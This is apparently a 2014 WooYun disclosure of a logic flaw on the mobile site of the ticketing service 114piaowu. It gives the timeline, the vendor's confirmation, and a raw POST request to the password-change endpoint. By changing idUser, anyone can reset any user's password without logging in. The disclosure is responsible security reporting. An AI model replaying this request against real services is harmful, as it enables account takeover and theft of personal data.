114票务网逻辑漏洞致可轻易控制约200万账户

漏洞详情

披露状态:

2014-02-23: 细节已通知厂商并且等待厂商处理中
2014-02-24: 厂商已经确认,细节仅向厂商公开
2014-03-06: 细节向核心白帽子及相关领域专家公开
2014-03-16: 细节向普通白帽子公开
2014-03-26: 细节向实习白帽子公开
2014-04-09: 细节向公众公开

简要描述:

大量用户隐私信息(如姓名、电话、身份证信息等)可遭窃取~

详细说明:

1)这是一个比较狗血的逻辑设计的large bug,问题出现在m.114piaowu.com,登陆帐号后来到密码修改页面;

5.png





2)没有验证用户原始密码,没有验证码,点击修改并抓包;

POST /usercenter/passwordChange/ HTTP/1.1
Host: m.114piaowu.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://m.114piaowu.com/usercenter/passwordInfo/
Cookie:...
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

idUser=用户id信息&password=123123&qrpassword=123123



3)很常规的测试,直接修改idUser的值并提交,突然狗血的事情发生了,“提交成功后居然直接进入该用户的帐号”,事后验证密码成功修改,oh no!~

6.png



4)进入该id的用户帐号后,就能获取用户的手机号码(登录名)等信息,有了帐号和密码当然就等于直接控制该帐号~

7.png



5)当我以为上面已经够狗血的时候,更狗血的一幕又发生鸟~原来以为需要登陆才能进行上面的操作,结果i was wrong~该接口居然能够不登陆直接操作~Look



id为1的用户;

2.png



1.png





id为1763250的用户;

4.png



6)未过多进行测试,又上面可以判定用户网站用户数量在200万左右~真心不少了~赶紧修复吧



漏洞证明:

见详细说明

修复方案:

update验证与控制

版权声明:转载请注明来源 se55i0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-24 10:47

厂商回复:

非常感谢!正在修复

最新状态:

暂无


漏洞评价: